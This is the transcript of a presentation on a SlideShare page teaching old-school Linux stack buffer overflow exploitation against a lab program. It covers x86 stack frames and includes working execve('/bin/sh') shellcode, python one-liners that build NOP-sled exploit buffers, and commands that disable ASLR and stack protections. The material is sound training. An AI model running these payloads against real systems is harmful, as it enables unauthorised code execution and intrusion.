• Share
  • Email
  • Embed
  • Like
  • Save
  • Private Content
Introduction to Linux Exploit Development
 

Introduction to Linux Exploit Development

on

  • 1,576 views

Old school linux exploit techniques

Old school linux exploit techniques

Statistics

Views

Total Views
1,576
Views on SlideShare
1,544
Embed Views
32

Actions

Likes
4
Downloads
0
Comments
0

3 Embeds 32

http://www.cihatyildiz.com 26
http://www.cihatyildiz.net 5
http://cihatyildiz-com.blogspot.com 1

Accessibility

Categories

Upload Details

Uploaded via as Microsoft PowerPoint

Usage Rights

© All Rights Reserved

Report content

Flagged as inappropriate Flag as inappropriate
Flag as inappropriate

Select your reason for flagging this presentation as inappropriate.

Cancel
  • Full Name Full Name Comment goes here.
    Are you sure you want to
    Your message goes here
    Processing…
Post Comment
Edit your comment
  • This connects us with libc so that we can use printf.Printf was not in our source code.
  • We’ll look at these tools in our labs
  • Small storage locations -built into the processor – for quick accessEAX used when passing results of functions, comparisons, etc
  • This is known as the prologue
  • What do you think is at 0x080484a0
  • Top of stack gets “popped” into eax
  • Another way overwriting past EIP
  • Hijack code execution
  • Needed this for one of the
  • typically you don’t need to write itself
  • Immunity has this as well with mona.pyEasier than trial and error
  • Immunity has this as well

Introduction to Linux Exploit Development Introduction to Linux Exploit Development Presentation Transcript

  • Introduction to Linux Exploit Development John deGruyter
  • About me - @johndegruyter• Security Researcher• Adjunct Professor• Musician (bass player)• Run a couple of CTFs (@the_xrg)• Christian• Served in USMC as a computer specialist• Certifications – GXPN – OSWP – GCPM – GPEN – GCIA – CCNA – Network+ – A+ @johndegruyter
  • About this talk• Basic, but technical• Old-school attack concepts• Modern protection mechanisms will prevent these types of attacks • Stack cookies • PaX / NX • ASLR @johndegruyter
  • Why this talk?• Discuss fundamentals in order to move on to more complex techniques• Lots of legacy systems out there• New systems don’t always implement protection mechanisms correctly• Participate in some challenges. They’re fun! – http://exploit-exercises.com – http://community.corest.com/~gera/InsecureProgramming/• Practice labs will be available: http://thexrg.com/downloads @johndegruyter
  • Hello World!• Source Code (hello.c) -> #include<stdio.h> main void() { printf(“Hello World!”); }• Compiling an executable gcc –ggdb –o hello hello.c -o <output file> -ggdb “Produce debugging information for use by GDB.” @johndegruyter
  • What just happened? • object file(s) • hello.c • shared object(s) hello Compiler LinkerComplier takes source Linker takes object files In this case we createdfile(s) and creates and links them with an ELF binary executableobject files that other libraries andcontain machine creates our executablelanguage instructions @johndegruyter
  • ELF File Structure • What can we see by ELF Header examining the file?Program Header – Header information Table – Sections info and content • .data, .rodata, .text .text – Assembly instructions (machine code) .rodata – Linked files … Tools: objdump .data readelfSection Header ldd Table strings @johndegruyter
  • x86 General RegistersRegister DescriptionEIP holds the instruction being executedESP points to the TOP of the stack frameEBP points to the BOTTOM of the stack frameEAX accumulatorEBX base index used with arrays / general purposeECX used for counting things (ie. loop iterations)EDX typically points to data / general purposeESI source index used with copying dataEDI destination index used with copying datamore… @johndegruyter
  • main() in ./hello @johndegruyter
  • main() in ./hello1. PUSH EBP onto the stack2. MOVE ESP into EBP @johndegruyter
  • main() in ./hello1. AND the content of ESP with 0xfffffff0 (mask)2. SUBTRACT 16 bytes (0x10) from ESP @johndegruyter
  • main() in ./hello1. MOVE the address 0x080484a0 into EAX2. MOVE the EAX into the address ESP points to @johndegruyter
  • main() in ./hello1. CALL printf function from LIBC2. LEAVE and RET @johndegruyter
  • Linux Process Memory Maphttp://duartes.org/gustavo/blog/post/anatomy-of-a-program-in-memory @johndegruyter
  • The Stack Low Address• Last In First Out (LIFO) 0x0800000 data structure• Grows down in memory address space Grow (push)• Used for: %ESP – passing parameters to functions Shrink (pop) – holding local variables – keeping track of function calls and returns High Address %EBP 0xbfffffff @johndegruyter
  • PUSH Instruction 0xbfff0004 0xbfff0018 %ESP0xbfff0008 111111111 %ESP 0xbfff0008 111111110xbfff000c 12345678 0xbfff000c 123456780xbfff0010 CCCCCCCC 0xbfff0010 CCCCCCCC0xbfff0014 0xbfff00140xbfff0018 %EBP 0xbfff0018 %EBP %EBP = 0xbfff0018 %EBP = 0xbfff0018 %ESP = 0xbfff0008 PUSH %EBP %ESP = 0xbfff0004 (%ESP) = “11111111” (%ESP) = 0xbfff0018 %EAX = 0xdeadbeef %EAX = 0xdeadbeef @johndegruyter
  • POP Instruction0xbfff0004 0xbfff0018 %ESP0xbfff0008 11111111 0xbfff0008 11111111 %ESP0xbfff000c 12345678 0xbfff000c 123456780xbfff0010 CCCCCCCC 0xbfff0010 CCCCCCCC0xbfff0014 0xbfff00140xbfff0018 %EBP 0xbfff0018 %EBP %EBP = 0xbfff0018 %EBP = 0xbfff0018 %ESP = 0xbfff0004 POP %EAX %ESP = 0xbfff0008 (%ESP) = 0xbfff0018 (%ESP) = “11111111” %EAX = 0xdeadbeef %EAX = 0xbfff0018 @johndegruyter
  • Stack Frames• When functions are called we set them up with their own portion of the stack. @johndegruyter
  • Stack FramesLow Address 0x0800000 %ESP %EBPHigh Address 0xbfffffff @johndegruyter
  • Stack Frames Low Address 0x0800000Functions will usedifferent portionsof the stack asthey are executed %ESP main frame 0 %EBP High Address 0xbfffffff @johndegruyter
  • Stack Frames Low Address 0x0800000printf (“Hello World!”) %ESP printf frame 0 %EBP main frame 1 High Address 0xbfffffff @johndegruyter
  • Stack Frames Low Address 0x0800000Returns backto mainleaveret %ESP main frame 0 %EBP High Address 0xbfffffff @johndegruyter
  • Function Calls• When we call a function we need to: – save our stack information (EBP and ESP) – return back to the stack frame of the calling function – continue execution on the instruction immediately after the call• This is done using a some common series of instructions – prologue – epilogue * These may be different based on the calling convention used by the program. @johndegruyter
  • verify_pin( ) function @johndegruyter
  • verify_pin( ) function Prologue @johndegruyter Epilogue
  • PrologueSave our place on Low Addressthe stack so thatwe can come backto it when wereturn from ourcalled function’sstack frame. %ESP High Address %EBP @johndegruyter
  • PrologueSave our stack so Low Addressthat we can comeback to itFrom our mainfunction, we callprintf( ) %ESP High Address %EBP @johndegruyter
  • Prologue Low AddressWhen a functionis called, we take theaddress of theinstruction following %ESPthe call… High Address %EBP @johndegruyter
  • Prologue Low Address…and push it ontothe stack. This is ourstored instruction %EIP %ESPpointer (stored EIP) High Address %EBP @johndegruyter
  • Prologuepush ebp Low Addressmov esp, ebpsub X, esp %EIP %ESP High Address %EBP @johndegruyter
  • Prologuepush ebp Low Addressmov esp, ebpsub X, espPush ebp onto the %EBP %ESPstack %EIP High Address %EBP @johndegruyter
  • Prologuepush ebp Low Addressmov esp, ebpsub X, espMove the value of %EBP %ESP %EBPesp into ebp %EIP High Address @johndegruyter
  • Prologuepush ebp Low Address %ESPmov esp, ebpsub X, espSubtract value X %EBP %EBPfrom ESP %EIP High Address @johndegruyter
  • Prologuepush ebp Low Address %ESPmov esp, ebpsub X, espX varies and depends %EBP %EBPon how much storage %EIPthe function needs High Address @johndegruyter
  • Prologuepush ebp Low Address %ESPmov esp, ebpsub X, espRemember, the stack %EBP %EBPgrows toward low %EIPaddresses High Address @johndegruyter
  • Getting back• We want to return to the previous stack frame – “leave” • mov ebp, esp #moves the value of ebp to esp • pop ebp #POPs the top of the stack into ebp – “ret” • pop EIP (Essentially, you don’t see this in the assembly. You will typically see RET.) • POPs the stored EIP off the stack into the EIP register to continue execution @johndegruyter
  • EpilogueWe want to Low Address %ESPreturn to theprevious stack frame %EBP %EBP %EIP High Address @johndegruyter
  • Epiloguemov ebp, esp Low Address %ESPpop ebpThis will be seenin GDB as “leave” %EBP %EBP %EIP High Address @johndegruyter
  • Epiloguemov ebp, esp Low Addresspop ebpMove EBP to ESPNow ESP points to %EBP %EBP %ESPour stored EBP %EIP High Address @johndegruyter
  • Epiloguemov ebp, esp Low Addresspop ebpOur stored EBP valuegets popped intothe EBP register setting %EIP %ESPit back to what it was High Address %EBP @johndegruyter
  • Epiloguemov ebp, esp Low Addresspop ebpNow ESP points to ourstored EIP value whichgets popped into the %EIP %ESPEIP register for execution High Address %EBP @johndegruyter
  • verify_pin( ) function Prologue @johndegruyter Epilogue
  • Stack Overflow
  • verify_pin p[4] EBP EIPvoid verify_pin(char *pin){ char p[4]; strcpy ( p, pin );…} @johndegruyter
  • verify_pin p[4] EBP EIPvoid verify_pin(char *pin){ char p[4]; strcpy – copies the strcpy ( p, pin ); value of the second… argument into the} first argument @johndegruyter
  • verify_pin p[4] EBP EIPvoid verify_pin(char *pin){ char p[4]; Not Good!!! strcpy ( p, pin ); strcpy does not verify… that p can hold pin} @johndegruyter
  • verify_pin p[4] EBP EIPvoid verify_pin(char *pin){ pin “AAAAAAAAAAAA” char p[4]; strcpy ( p, pin ); What if pin is larger… than 4 bytes?} @johndegruyter
  • verify_pin “AAAA” “AAAA” “AAAA”void verify_pin(char *pin) Stored EBP and{ Stored EIP are both char p[4]; overwritten by strcpy ( p, pin ); “AAAA”…} @johndegruyter
  • verify_pin “AAAA” “AAAA” “AAAA”Now, when the verify_pinfunction returns to main, theprogram will try to restorecode execution at the storedEIP (which we control). @johndegruyter
  • verify_pin p[4] EBP EIP pin “AAAAAAAA” + “ADDR”Instead of a string of just “A”sWe launch a specially crafted buffer thatwill precisely overwrite EIP with amemory address @johndegruyter
  • verify_pin AAAA AAAA ADDR pin “AAAAAAAA” + “ADDR”“ADDR” will be an address of anotherarea of memory that we control.Where our shellcode will be waiting… @johndegruyter
  • verify_pin AAAA AAAA ADDRADDR• 4 byte memory address• Written as hex (x)• Little endian (bytes in reverse order)• Points to our shellcode• Example: 0xbffffa32 -> x32xfaxffxbf @johndegruyter
  • verify_pin AAAA AAAA bffffa320xbfffa32 - will point to our shellcodeIn the sample programs, we need to firstfind out where our shellcode resides inmemory to get this address. @johndegruyter
  • Another point of view…
  • Stack Overflow• New function 0xbfff0004 “dostuff()” is called 0xbfff0008 0xbfff000c• We will write past our stored EIP 0xbfff0010 0xbfff0014 0xbfff0018 0xbfff001c %ESP 0xbfff0020 main() Frame 0 0xbfff0024 %EBP @johndegruyter
  • Stack Overflow (prologue)• Stored EIP gets pushed on stack 0xbfff0004 0xbfff0008• Stored EBP gets 0xbfff000c pushed on stack 0xbfff0010 0xbfff0014 Stored EBP %ESP• This is so it knows 0xbfff0018 Stored EIP how to get back before it called the 0xbfff001c function 0xbfff0020 main() Frame 0 0xbfff0024 %EBP @johndegruyter
  • Stack Overflow (prologue)• EBP shifts to ESP 0xbfff0004 0xbfff0008 %ESP• ESP shifts based on 0xbfff000c dostuff() how much space is Frame 0 needed for the 0xbfff0010 function. This is the 0xbfff0014 Stored EBP %EBP SUB instruction we 0xbfff0018 Stored EIP saw earlier. 0xbfff001c 0xbfff0020 main() Frame 0 0xbfff0024 @johndegruyter
  • Stack Overflow• Local variables are 0xbfff0004 created on the stack 0xbfff0008 int x; %ESP 0xbfff000c int y; dostuff() Frame 0 0xbfff0010 0xbfff0014 Stored EBP %EBP 0xbfff0018 Stored EIP 0xbfff001c 0xbfff0020 main() Frame 0 0xbfff0024 @johndegruyter
  • Stack Overflow• Vulnerable function 0xbfff0004 (strcpy, gets, etc) allows int x to be 0xbfff0008 AAAA %ESP overwritten by a 0xbfff000c AAAA dostuff() value larger than its Frame 0 0xbfff0010 AAAA allocated storage 0xbfff0014 AAAA %EBP size 0xbfff0018 AAAA• Overflow occurs 0xbfff001c AAAA 0xbfff0020 main() Frame 0 0xbfff0024 @johndegruyter
  • Stack Overflow (epilogue)• ESP has shifted 0xbfff0004 back, so when the function returns it 0xbfff0008 AAAA will always be right 0xbfff000c AAAA after the stored EIP 0xbfff0010 AAAA 0xbfff0014 AAAA 0xbfff0018 0xbfff0199 %ESP 0xbfff001c shellcode 0xbfff0020 shellcode main() Frame 0 0xbfff0024 shellcode %EBP @johndegruyter
  • Stack Overflow (epilogue)• The stored EIP is grabbed off the stack 0xbfff0004 so that execution can resume in the calling 0xbfff0008 function 0xbfff000c AAAA 0xbfff0010 AAAA• It will not return to the main function, it 0xbfff0014 AAAA will go to the 0xbfff0018 0xbfff0199 address that overwrote the stored 0xbfff001c shellcode %ESP EIP (which we main() control) 0xbfff0020 shellcode Frame 0 0xbfff0024 shellcode %EBP @johndegruyter
  • Stack Overflow (epilogue)• A common technique is to 0xbfff0004 write beyond the 0xbfff0008 stored EIP 0xbfff000c AAAA• Here we will place 0xbfff0010 AAAA our shellcode or NOP sled 0xbfff0014 AAAA• Then find a static 0xbfff0018 0xbfff0199 “jmp esp” 0xbfff001c shellcode %ESP instruction main() 0xbfff0020 shellcode Frame 0 0xbfff0024 shellcode %EBP @johndegruyter
  • Class Overflow Objectives• Cause a crash• See if we can overwrite EIP• Find the distance to stored EIP so that we know how big to make our buffer• Find where in the process we can inject our shellcode• Overwrite the stored EIP to point to our shellcode or a NOP sled into our shellcode @johndegruyter
  • Mitigation
  • Modern Mitigation• ASLR – Randomizes the location of memory segments at runtime.• Stack Cookies – Places an arbitrary value in front of stored EBP. Before the function returns, these values are checked for consistency.• Non-executable stack – Sections of memory marked as non-executable. Shellcode in these locations will not run. @johndegruyter
  • Labs@johndegruyter
  • Disabling ASLR• Check for ASLR – If this is anything but zero, you are likely using ASLR # cat /proc/sys/kernel/randomize_va_space• Run this, then cat the file again to verify # echo 0 > /proc/sys/kernel/randomize_va_space• Settings should return after a reboot @johndegruyter
  • Disabling Stack Protection• To disabling stack cookies, use the following option with gcc –fno-stack-protector• To disable non-executable stack protection, use the following option with gcc -z execstack $ gcc –o verify_pin –z execstack –ggdb –fno-stack- protector verify_pin.c @johndegruyter
  • Shellcode
  • Shellcode• Small piece of code that we want to execute to gain access to a system – start a shell – open a port – add a user• Typically written in assembly• Be careful of bad characters – 0x00, 0x0d, 0x0a, 0x20, etc @johndegruyter
  • Shellcode Example (1) http://www.exploit-db.com/exploits/13365/ @johndegruyter
  • Shellcode Example (2)• execve(“/bin/sh”)"x31xc0x50x68//shx68/binx89xe3x50x53x89xe1x99xb0x0bxcdx80"• Below is useful if we attack gets() – closes stdin, reopens /dev/tty, execve(”/bin/sh”)"x31xc0x31xdbxb0x06xcdx80”"x53x68/ttyx68/devx89xe3x31xc9x66xb9x12x27xb0x05xcdx80”"x31xc0x50x68//shx68/binx89xe3x50x53x89xe1x99xb0x0bxcdx80" http://www.exploit-db.com/exploits/13357/ @johndegruyter
  • Getting shellcode• Metasploit Framework – msfpayload + msfencoder• exploit-db.com• Metasm - http://metasm.cr0.org/ – Nice tool for working with assembly instructions – metasm_shell.rb included with Metasploit @johndegruyter
  • NOP - x90• “No Operation” – Assembly instruction that will basically do nothing – EIP continues to the next instruction – Useful as padding if we are not sure of the exact address to jump to (NOP sled) “x90” * 1000 + *shellcode+ + *EIP overwrite+ Here we could jump back into our buffer @johndegruyter
  • xCC• INTerrupt instruction – Tells debugger to break and will halt the program – If we can hit xCC, we know that we can jump to this location and execute code. – We can use this address and replace it with our shellcode or NOP sled – This is a quick way to test our overflow print “xcc” * 1000 @johndegruyter
  • Basic Pythonfor exploiting stack overflows
  • Basic Python (1)• We’ll be using python to write our exploits $ python –c “print ‘A’*1000”• If you want to write it to a file $ python –c “print ‘A’*1000” > buffer.text $ cat buffer.txt | ./vbinary $ ./vbinary < buffer.txt @johndegruyter
  • Basic Python (2)• Finding EIP $ python –c “print ‘A’*996 + ‘BBBB’”• Jumping back into our buffer to INT $ python –c “print ‘xcc’ * 996 + ‘x32xf4xffxbf’”• Jumping back into our buffer to NOP sled + INT $ python –c “print ‘x90’ * 900 + ‘xcc’ * 96 + ‘x10xf4xffxbf’” @johndegruyter
  • Basic Python (3)• Jumping back into our buffer to NOP sled + Shellcode $ python –c “print ‘x90’ * 952 + ‘x31xc0x50x68//shx68/binx89xe3x50x53x89xe1x9 9xb0x0bxcdx80’ + ‘B’ * 20 + ‘x10xf4xffxbf’”• We need to take in account the length of the shellcode that it does not change our buffer and overwriting EIP $ python >>> x = (paste in your shellcode) >>> len(x) >>>24 @johndegruyter
  • Basic Python (4)• Jumping past our buffer to NOP sled + shellcode this is good if you can find a static ‘jmp esp’ in the program. In this example 0xbffff475 is the address to jmp esp. However, this is not necessary if there is no memory randomization $ python –c “print ‘x90’ * 996 + ‘x75xf4xffxbf’ + ‘x90’ *500 + ‘x31xc0x50x68//shx68/binx89xe3x50x53x8 9xe1x99xb0x0bxcdx80’ + ‘B’ * 20 + ‘” @johndegruyter
  • Additional Methods
  • Finding EIP• We want to overwrite EIP exactly – Trial and error? • 500 crashes the program • Try 450 = crashes • Try 400 = doesn’t crash • Try 425 = until we overwrite EIP • Use a specific 4 character string AAAAAAAAAAAAAAAAAAAAAAAA + BBBB • We want to overwrite EIP with ‘424242’ which is the ascii value of ‘B’ @johndegruyter
  • Cyclic patterns (1)• Use cyclic pattern as your buffer. This is a sequence of unique patterns within your string• Send the buffer to the program so that it crashes. You should be able to see the value in EIP when it crashes.• If you search for these 4 characters in your buffer, you will be able to will get the offset of EIP @johndegruyter
  • Cyclic patterns (2)• Metasploit comes with some tools for this – pattern_create.rb will create a cyclical string to use as your buffer $ ./pattern_create.rb 100 > pc100.txt “Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3A b4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8A c9Ad0Ad1Ad2A” – pattern_offset.rb will find a substring within a string and give you the offset $ ./pattern_offset.rb Aa1A @johndegruyter
  • Don’t have pattern_create.rb?$ python>>> import string>>> x = <paste your 500 cyclic pattern>>>> find (x, “Aa1A”) + 1• In the example tarball there is a 500 character file pc500.txt and a script (pcloc.py) to get the offset @johndegruyter
  • Small Buffer (1)• What if we have a small buffer and can’t write beyond EIP?• We have to find another place to put our shellcode. @johndegruyter
  • Small Buffer (2)• What if we have a small buffer and can’t write beyond EIP?• We have to find another place to put our shellcode. How about an environment variable? @johndegruyter
  • Shellcode in environment variable• Environment variables are addressable within the process for that user export myname=John echo $myname• From the command prompt export myshell=$(python -c print "x90"*1000 + "xebx1ax5ex31xc0x88x46x07x8dx1ex89x 5ex08x89x46x0cxb0x0bx89xf3x8dx4ex08 x8dx56x0cxcdx80xe8xe1xffxffxffx2fx62x 69x6ex2fx73x68") @johndegruyter
  • Finding address of our environment variable• Go into GDB, break main, run• (gdb) x/5000wx $esp• Keep hitting enter, look for your NOPs• Tool in the tarball (getEnv) ./getEnv <var> Addr of shell is 0xbffff6ee String there is “/bin/bash” @johndegruyter
  • Closing @johndegruyter
  • Labs• 1 - Exploring ELF• 3 - Stack Overflows• Try it yourself or use the step-by-step walkthroughs• Available at:http://thexrg.com/downloads @johndegruyter